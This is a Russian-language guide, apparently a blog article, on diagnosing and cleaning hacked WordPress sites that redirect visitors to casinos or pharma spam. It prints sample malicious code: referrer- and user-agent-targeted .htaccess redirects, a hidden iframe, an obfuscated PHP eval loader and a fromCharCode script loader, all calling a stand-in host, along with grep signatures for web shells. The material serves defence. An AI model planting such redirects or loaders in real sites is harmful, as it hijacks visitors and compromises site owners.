Сайт перенаправляет на казино или рекламу — как найти и удалить вредоносный код

Заходите на свой сайт, а вас перебрасывает на казино, аптеку или порно. Открываете в админке — всё нормально. Жалуются клиенты, которые приходят из Яндекса. Если это знакомо — вашему сайту подсадили вредоносный редирект. В этой статье я разбираю, где конкретно прячется код перенаправления, как его найти и почистить руками. Если только что заметили проблему и нужен план действий в первые 30 минут — у меня есть отдельное руководство по восстановлению после взлома. А здесь — техническая чистка для тех, кто готов лезть в код.

Симптомы заражения — как понять, что сайт взломали

Хитрость вирусов-редиректоров в том, что они часто не видны владельцу сайта, но видны посетителям. Вы открываете админку из закладки — всё нормально. А клиент приходит из поиска и попадает на казино. Поэтому первый шаг — научиться различать симптомы. Вот три самых частых проявления.

Сайт перекидывает на казино, аптеку или рекламу

Самый громкий симптом. Открываете your-site.ru — а адресная строка через секунду превращается в [имя-зеркала].invalid или [фарма-домен].invalid. Это типичный casino-redirect или pharma-injection. Реклама и партнёрки за такой трафик платят, поэтому атакующие массово сажают редиректы на чужие сайты — каждый посетитель приносит им копейки, но в сумме набегают тысячи долларов в месяц.

Технически редирект работает либо через инжект в .htaccess, либо через JavaScript-сниппет в header.php темы или в одной из таблиц БД. Иногда оба варианта одновременно — для надёжности, чтобы вы вычистили один и не нашли второй.

Появились всплывающие окна и баннеры, которые вы не ставили

На сайте всплывают окна с предложением «играть», баннеры аптек, ставок, казино — те, которых вы никогда не размещали. Иногда просто новые ссылки в подвале или скрытые блоки display: none с текстом «купить виагру». Скрытые блоки видны не людям — а поисковикам: атакующий продвигает свои ключи через ваш авторитетный домен.

В выдаче Яндекса и Google — спам-страницы на японском или китайском

Откройте Яндекс или Google, вбейте site:your-site.ru — и обнаружьте сотни страниц с иероглифами. Это Japanese keyword hack или китайский SEO-спам. Атакующий через бэкдор создаёт тысячи страниц со спам-контентом и ждёт, пока поисковики их проиндексируют. Цели разные: продажа поддельных товаров, ссылочный спам, фишинг.

Часто на эти страницы стоят 301-редиректы на азиатские партнёрки. Доркинг (поиск по сигнатурам) находит такие сайты в выдаче — и ваш домен сначала теряет позиции по реальным запросам, а потом попадает в чёрный список Safe Browsing.

Кому показывается редирект, а кому нет — логика хакера

Самая частая причина, почему владелец долго не замечает заражение: атакующие умнее, чем кажется. Они не делают редирект для всех подряд — это бы заметили в первый же час. Они таргетируют — показывают вирус только определённым посетителям. Разберу четыре типичных правила, которые я встречаю в коде.

Редирект только с поиска (проверка HTTP_REFERER)

Самый частый вариант. В коде стоит проверка: если посетитель пришёл с google.com или yandex.ru — редиректим. Если открыл сайт напрямую (через закладку или ввод URL вручную) — нет. Логика простая: с поиска приходят случайные посетители, владелец — обычно через закладку.

В .htaccess это выглядит примерно так:

RewriteCond %{HTTP_REFERER} (google|yandex|bing|mail.ru) [NC]
RewriteRule ^(.*)$ https://malicious.example/$1 [R=301,L]

В JavaScript — проверка через document.referrer:

if (document.referrer.match(/google|yandex|bing/i)) {
    window.location = 'https://malicious.example';
}

Редирект только мобильным (проверка User-Agent)

Владельцы обычно работают с десктопа, посетители — с мобильных (70%+ трафика). Атакующий проверяет User-Agent: если мобильный — редирект, если десктоп — нет. Опять же, это позволяет долго оставаться незамеченным.

RewriteCond %{HTTP_USER_AGENT} (android|iphone|ipad|mobile) [NC]
RewriteRule ^(.*)$ https://malicious.example/$1 [R=302,L]

Редирект один раз в сессию (cookie или IP)

Совсем продвинутый вариант: вирус ставит cookie или запоминает IP, и одного и того же посетителя редиректит только один раз. Заходите проверять — нормальный сайт. Через час пробуете в инкогнито — снова редирект, потому что cookies нет.

Это сильно усложняет диагностику и часто приводит к выводу «у меня всё нормально, клиенты врут». А клиенты не врут — каждый из них видит редирект ровно один раз, и больше никогда.

Как проверить: открыть сайт в инкогнито через поисковую выдачу

Самый надёжный способ воспроизвести редирект:

1. Откройте режим инкогнито в браузере (Ctrl+Shift+N)
2. Зайдите в Google или Яндекс
3. Найдите свой сайт по бренду или ключевому слову, по которому он ранжируется
4. Кликните на результат из выдачи (не вводите URL вручную)
5. На мобильном телефоне — повторите тоже самое

Если редирект сработал — теперь вы видите проблему как ваши клиенты. Если нет — попробуйте ещё раз через VPN, с другим IP, через час (вирус может ждать), с другого устройства.

Быстрая диагностика за 5 минут

Перед тем как лезть в код — два внешних инструмента, которые за пару минут подтвердят заражение и подскажут, где искать. Полезно ещё до начала чистки, чтобы понимать масштаб и иметь точку отсчёта.

Sucuri SiteCheck — внешнее сканирование

Сервис sitecheck.sucuri.net — бесплатная внешняя проверка. Вводите URL, через минуту получаете отчёт: какие признаки заражения нашли, в каких файлах, есть ли в чёрных списках Yandex Safe Browsing и Google Safe Browsing. Хорошо подходит для первичной диагностики и как доказательство клиенту: «вот публичный сервис, видно проблему».

VirusTotal — проверка через 70+ движков

На virustotal.com в разделе URL вводите свой домен — система прогоняет его через 70+ антивирусов и проверяет в десятках чёрных списков. Если домен помечен — увидите сразу. Бонус: VirusTotal сохраняет историю проверок, удобно сравнивать «было/стало» после лечения.

Исходный код страницы — искать iframe и document.write

Откройте сайт в инкогнито, нажмите Ctrl+U (View Source). Используйте Ctrl+F и ищите подозрительные паттерны:

• <iframe — особенно с display:none, width="0", height="0" или position:absolute;left:-9999px
• document.write — почти всегда вредоносный, легитимный код в 2026 году его не использует
• Длинные строки из x, u, base64 — это обфусцированный JavaScript
• Скрипты, ссылающиеся на сторонние домены, которых вы не подключали
• Скрытые блоки style="display:none" со ссылками на казино или фарму

Каждое такое совпадение — улика. Сохраните строку с заражённым кодом — пригодится для поиска по серверу через grep.

Где прячется вредоносный код — 6 типовых мест

Вот тут начинается главная техническая часть. Атакующий может спрятать редирект в десятках мест, но в 90% случаев это одна из шести типовых локаций. Я разбираю каждую с примерами заражённого кода.

.htaccess — RewriteRule на казино

Самое популярное место для редиректа. Файл .htaccess в корне сайта обрабатывается Apache до того, как PHP вообще запускается — поэтому редирект работает на любых страницах, включая статику. Чистый .htaccess WordPress выглядит так:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

А вот заражённый — обратите внимание на лишний RewriteCond перед стандартными правилами:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} (google|yandex|bing|mail) [NC]
RewriteCond %{HTTP_USER_AGENT} !(googlebot|yandex|bingbot) [NC]
RewriteRule ^(.*)$ https://malicious.example/$1 [R=302,L]

# BEGIN WordPress
...

Проверяйте также .htaccess в подпапках — атакующие любят прятать там вторую копию. Если в основном .htaccess вы вычистили, а редирект остался, посмотрите в wp-content/, wp-content/uploads/, корне темы.

index.php, wp-load.php, wp-config.php — инжект в начало файла

Если редирект работает не для всех URL, а только для динамических страниц — скорее всего, инжект в PHP-файлах WordPress. Чаще всего страдают index.php в корне, wp-load.php, wp-config.php. Типичный признак — блок странного кода в самом начале файла, до <?php или сразу после:

<?php
$qV="b"."as"."e6"."4_"."de"."co"."de";
@eval($qV("[base64-payload-вырезан]"));
?>
<?php
/**
 * Front to the WordPress application...

Длинная base64-строка декодируется в PHP-код, который и делает редирект. Конструктор $qV = "b"."as"."e6"."4_"."de"."co"."de" собирает строку base64_decode из кусочков, чтобы обмануть простой grep по base64_decode.

functions.php темы и header.php — JavaScript-инжект

Если редирект работает на стороне браузера (видно в DevTools → Network), смотрите в шаблон темы. Чаще всего инжект в header.php:

<?php wp_head(); ?>
<script type="text/javascript">
eval(atob('[base64-payload-вырезан]'));
</script>
</head>

Или PHP-сниппет в functions.php, который добавляет редирект через хук:

add_action('wp_head', function() {
    if (preg_match('/google|yandex/', $_SERVER['HTTP_REFERER'] ?? '')) {
        echo '<script>window.location="https://malicious.example"</script>';
    }
});

wp-content/uploads — PHP-шеллы под видом картинок

Атакующие любят прятать бэкдоры в папке wp-content/uploads/, потому что туда WordPress по логике пишет загруженные файлы — и владелец редко её проверяет. Любой .php файл в uploads/ — стопроцентный признак заражения. WordPress сам туда PHP не кладёт.

Стандартные имена шеллов: thumb.php, cache.php, logo.php, image.php, upload.php. Иногда маскируют под .jpg.php или .png.php — двойное расширение. Найти все через SSH:

find wp-content/uploads -type f ( -name "*.php" -o -name "*.phtml" -o -name "*.php5" -o -name "*.php7" )

Каждый найденный файл — на удаление. Внутри обычно полноценный веб-шелл (c99shell, FilesMan, WSO) с интерфейсом для управления сервером.

Таблица wp_options и wp_posts — подмена URL и инжект в контент

Если в файлах ничего не нашли, а редирект остался — копайте в БД. Самые типичные точки заражения:

wp_options — поля siteurl и home должны содержать ваш реальный URL. Если там что-то вроде https://malicious.example — редирект делается через WP. Проверка через SQL:

SELECT option_name, option_value FROM wp_options
WHERE option_name IN ('siteurl', 'home', 'admin_email');

-- Подозрительные значения с инжектами
SELECT option_name, option_value FROM wp_options
WHERE option_value LIKE '%base64%' OR option_value LIKE '%eval%' OR option_value LIKE '%<script%';

wp_posts — атакующие иногда инжектят скрытые ссылки или скрипты в контент постов:

SELECT ID, post_title FROM wp_posts
WHERE post_content LIKE '%<iframe%' OR post_content LIKE '%display:none%' OR post_content LIKE '%base64_decode%';

Cron-задачи — вирус пересоздаёт себя по расписанию

Самый коварный механизм. Атакующий регистрирует WP-cron задачу или системный cron на сервере, которая раз в час восстанавливает удалённые шеллы. Вы вычистили uploads/ утром — к обеду они снова на месте.

Проверка WP-cron через WP-CLI:

wp cron event list

Подозрительные задачи с непонятными именами (вроде wp_check_referrals, wp_dynamic_load) — на удаление. Проверьте также системный cron на сервере:

crontab -l

Любая запись с wget, curl, php -r и URL — точно вирусная.

Как выглядит вредоносный код — примеры

В прошлом разделе я показал чистый и заражённый .htaccess. Вот ещё три типичных паттерна — конкретные примеры, которые я регулярно вижу в реальных сайтах клиентов.

eval(base64_decode(…)) — классический PHP-инжект

Самая распространённая конструкция. Вредоносный код упаковывают в base64 (или несколько раз в base64+gzinflate+str_rot13 для усложнения), и одной строчкой eval() запускают:

<?php
@eval(base64_decode('[base64-payload-вырезан]'));

Декодируем base64 — получаем:

⚠ Декодированная полезная нагрузка запускает выполнение произвольного PHP-кода, переданного через HTTP-параметр. Точную форму не привожу — это рабочий backdoor-однострочник.

Это бэкдор: атакующий через GET-параметр ?cmd=... может выполнить любой PHP-код. Расшифровать вручную можно через любой онлайн base64-декодер или PHP CLI:

php -r "echo base64_decode('[base64-payload-вырезан]');"

JavaScript-инжект: document.write и скрытый iframe

На стороне браузера популярная техника — скрытый iframe с display:none. Видеть его глазами на странице нельзя, но он подгружает контент с чужого домена и может делать редирект:

<iframe src="https://malicious.example/click.php"
        width="0" height="0" frameborder="0"
        style="display:none;visibility:hidden;position:absolute;left:-9999px">
</iframe>

Или через document.write с обфусцированным URL:

<script>
var s = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61);
document.write(s + '"https://malicious.example/r.js"></script>');
</script>

String.fromCharCode собирает строку <script src= из ASCII-кодов — простой grep по <script src= такое не найдёт.

Подмена siteurl/home в wp_options

Самая «тихая» атака — в БД меняют поля siteurl и home на чужой домен. WordPress начинает редиректить все запросы туда. Открываете сайт — а вас перебрасывает на malicious.example, потому что WordPress сам считает, что сайт переехал.

Проверка и быстрый фикс через phpMyAdmin или WP-CLI:

# через WP-CLI (если админка ещё доступна)
wp option get siteurl
wp option get home

# если значения подменены
wp option update siteurl 'https://your-real-site.ru'
wp option update home 'https://your-real-site.ru'

Или прямо в SQL:

UPDATE wp_options SET option_value = 'https://your-real-site.ru'
WHERE option_name IN ('siteurl', 'home');

Пошаговое лечение — как удалить редирект и вирус

Теперь когда понятно, где искать, разберём порядок действий. Я делаю по этому чек-листу — пропуск любого шага почти гарантирует повторное заражение через несколько дней.

Шаг 1 — бэкап заражённого сайта (для анализа)

Перед любыми правками — полный бэкап файлов и БД. Заражённый, в текущем виде. Это важно: атакующие иногда оставляют сложные ловушки, и понять, что именно они сделали, можно только по живой копии. Через SSH:

cd ~/public_html
tar -czf ~/site-infected-$(date +%Y%m%d).tar.gz .
mysqldump -u DB_USER -p DB_NAME > ~/db-infected-$(date +%Y%m%d).sql

Сохраните оба файла локально. Если что-то пойдёт не так в процессе чистки — у вас есть точка отката.

Шаг 2 — чистка .htaccess

Откройте .htaccess в корне сайта. Удалите всё, что не входит в стандартный блок WordPress (между # BEGIN WordPress и # END WordPress). Если стандартного блока нет, замените содержимое на чистый шаблон:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

Проверьте .htaccess во всех подпапках:

find . -name ".htaccess" -type f

В wp-content/, wp-content/uploads/, wp-content/plugins/ файла .htaccess по логике WordPress быть не должно — если есть, удаляйте.

Шаг 3 — сравнение ядра WordPress с оригиналом

Скачайте чистую версию вашего WordPress с ru.wordpress.org и сравните ядро. Самый простой путь — заменить полностью все папки wp-admin/, wp-includes/ и корневые PHP-файлы (кроме wp-config.php и .htaccess) на свежие.

Альтернатива — через WP-CLI:

wp core verify-checksums

Команда покажет все файлы ядра, которые отличаются от эталона. Каждый — кандидат на восстановление из чистой версии.

Шаг 4 — поиск шеллов и бэкдоров через grep

Прогоняем по всему сайту поиск типичных вредоносных сигнатур:

cd ~/public_html
grep -rE "evals*(s*base64_decode" --include="*.php" .
grep -rE "@asserts*(" --include="*.php" .
grep -rE "create_functions*(" --include="*.php" .
grep -rE "preg_replace.*/.*/e" --include="*.php" .
grep -rE "FilesMan|WSO|c99shell|b374k" --include="*.php" .

Каждый файл из вывода — проверять руками. Если файл — стандартный плагин или ядро, и в нём есть подозрительный код, файл переустанавливается из чистого источника. Если файл вы не узнаёте (особенно в uploads/) — удаляйте.

Шаг 5 — чистка базы данных

Через phpMyAdmin или WP-CLI проверяем три таблицы:

-- siteurl и home должны указывать на ваш домен
SELECT option_name, option_value FROM wp_options
WHERE option_name IN ('siteurl', 'home');

-- Скрытые админы
SELECT u.ID, u.user_login, u.user_email
FROM wp_users u
JOIN wp_usermeta m ON m.user_id = u.ID
WHERE m.meta_key = 'wp_capabilities' AND m.meta_value LIKE '%administrator%';

-- Спам-инжекты в постах
SELECT ID, post_title FROM wp_posts
WHERE post_content LIKE '%<iframe%'
   OR post_content LIKE '%base64%'
   OR post_content LIKE '%display:none%';

Подозрительные опции — удаляйте или восстанавливайте правильное значение. Скрытых админов — удаляйте через Пользователи → Все пользователи в админке (с переносом контента на ваш аккаунт). Спам-инжекты в постах — чистите вручную, если их немного, или через SQL UPDATE с REPLACE для массовой чистки.

Шаг 6 — смена паролей и обновление ключей

После удаления вредоносного кода — меняем все пароли в правильном порядке:

1. Хостинг-аккаунт
2. FTP / SSH
3. База данных (создайте нового MySQL-пользователя, обновите wp-config.php, удалите старого)
4. Все админы WordPress

В wp-config.php обновите соль и ключи аутентификации (AUTH_KEY и т.д.) — сгенерируйте новые на api.wordpress.org/secret-key/1.1/salt/ и замените блок. Это инвалидирует все активные сессии — атакующий, если у него была сессия, теряет доступ.

Как вирус попал на сайт — причины

Вычистили — отлично. Но если не закрыть точку входа, через неделю вирус вернётся. Я разобрал четыре самые частые причины компрометации сайтов на WordPress.

Уязвимость плагина или темы (90% случаев)

Самая популярная причина. У вас стоит плагин версии 2.3, разработчик в 2.4 закрыл RCE-уязвимость, но обновление вы не накатили. Атакующий через автоматизированные сканеры (Shodan, WPScan) находит сайты с уязвимыми версиями и эксплуатирует.

База уязвимостей WordPress — на wpvulndb.com и wordfence.com/threat-intel. После лечения проверьте все установленные плагины: какие из них имеют незакрытые CVE. Если плагин больше не обновляется разработчиком — выкидывайте, это бомба замедленного действия.

Nulled-тема или пиратский плагин со встроенным бэкдором

Скачали платный плагин «бесплатно» с торрента или варезного сайта? С 90% вероятностью внутри встроенный бэкдор — иногда такой код живёт годами незамеченным. Атакующий собирает базу всех сайтов, использующих nulled-сборку, и в любой момент активирует.

Решение — удалить все nulled-плагины и темы, заменить на лицензионные или бесплатные альтернативы из официального репозитория. Экономия на лицензии не стоит риска потерять весь сайт и репутацию.

Слабый пароль и брутфорс wp-login.php

Если пароль администратора — что-то вроде admin123 или qwerty2024, атакующий подберёт его через перебор. Атаки идут на /wp-login.php и /xmlrpc.php с тысяч IP одновременно. Признак в логах сервера — массовые POST-запросы:

tail -10000 access.log | grep "POST /wp-login.php" | wc -l

Если число большое (сотни и тысячи в час) — вас активно брутфорсят. Защита: пароли от 16 символов из менеджера паролей, ограничение попыток входа (Limit Login Attempts, Wordfence), двухфакторная авторизация для всех админов.

Заражение через соседа на shared-хостинге

На shared-хостинге у вас один пользователь сервера на десятки сайтов. Если у соседа была дыра, и атакующий получил права на запись — он может полезть в ваши файлы тоже. Особенно если у файлов слишком открытые права (777 вместо 644).

Решения два: либо привести права в порядок (644 для файлов, 755 для папок, 600 для wp-config.php), либо переехать на VPS с изолированными ресурсами. Если хостер уже заблокировал ваш аккаунт после взлома — переезд на новый сервер часто бывает быстрее ожидания разблокировки.

Защита после чистки — чтобы не повторилось

Чистка без защиты — это лечение симптомов. Если не закрыть дыру, через которую зашли, история повторится в течение месяца. Вот четыре базовых меры, которые ставлю каждому клиенту после лечения.

Двухфакторная авторизация и ограничение доступа к /wp-admin/

Включите 2FA для всех администраторов через плагин WP 2FA, Two-Factor (от команды WordPress) или Wordfence Login Security. Даже если пароль украли, без TOTP-кода войти не получится.

WAF (Wordfence или Sucuri) и регулярное сканирование

Web Application Firewall фильтрует трафик до того, как он дойдёт до WordPress. Wordfence бесплатно ставит WAF на уровне приложения, Sucuri — премиум на сетевом уровне. Cloudflare Pro даёт WAF даже на бесплатном тарифе.

Включите регулярное сканирование (раз в день) — Wordfence или Sucuri сравнивают файлы с эталоном и предупреждают, если что-то изменилось. Раннее предупреждение — это половина успеха.

Обновления CMS и плагинов + аудит прав на файлы

Включите автообновления для минорных версий ядра и плагинов. Major-версии (5.x → 6.x) лучше накатывать руками с предварительным тестом — там бывают breaking changes.

Проверьте права на файлы — после взлома они часто сбиваются:

find . -type d -exec chmod 755 {} ;
find . -type f -exec chmod 644 {} ;
chmod 600 wp-config.php

Заодно с правами стоит проверить сайт на 152-ФЗ — раз уже разбираем код, лучше закрыть и безопасность, и закон одним проектом. После лечения сайт может тормозить (кэши сбросились) — оптимизация скорости вернёт производительность.

Регулярные бэкапы в отдельное хранилище

Бэкапы должны лежать НЕ на том же сервере, что сайт. Если сервер скомпрометирован — бэкапы тоже. Используйте облачное хранилище: Yandex Object Storage, Selectel S3, Google Drive, Dropbox. Плагины UpdraftPlus и Solid Security умеют работать с этими сервисами.

Минимум — ежедневные бэкапы с хранением 30 дней. Это достаточно, чтобы откатиться даже если заражение произошло 3 недели назад.

Частые вопросы

Сайт чистый, но Google и Яндекс всё ещё показывают спам-страницы — что делать?

Спам-страницы остались в индексе поисковиков, хотя на сайте их уже нет. Удалите URL через инструменты удаления в Google Search Console (Index → Removals) и Яндекс.Вебмастер (Индексирование → Удаление страниц). Обновите sitemap.xml — исключите все несуществующие страницы. Подайте запрос на повторный обход. Обычно переиндексация и очистка от мусора занимает 3–14 дней.

Можно ли вылечить сайт самому или нужен специалист?

Простой редирект через .htaccess можно убрать самостоятельно — это буквально удалить чужие строки из файла. Но если заражение глубже (шеллы в uploads, инжекты в БД, cron-задачи, которые пересоздают вирус) — лучше обратиться к специалисту. Неполная чистка почти гарантирует повторное заражение через дни. Признак, что нужен профи: вы вычистили видимые места, а через сутки симптомы вернулись.

Сайт уже попал под санкции и помечен как опасный — что делать?

Сначала полностью вылечить сайт — все файлы и БД. Затем подать запрос на пересмотр в Яндекс.Вебмастер (раздел «Безопасность и нарушения», кнопка «Я всё исправил») и Google Search Console (Security Issues → Request Review). В заявке опишите, что было найдено и как очищено. Метку обычно снимают через 3–7 дней после подтверждения чистоты. До этого посетители будут видеть предупреждение, и трафик упадёт.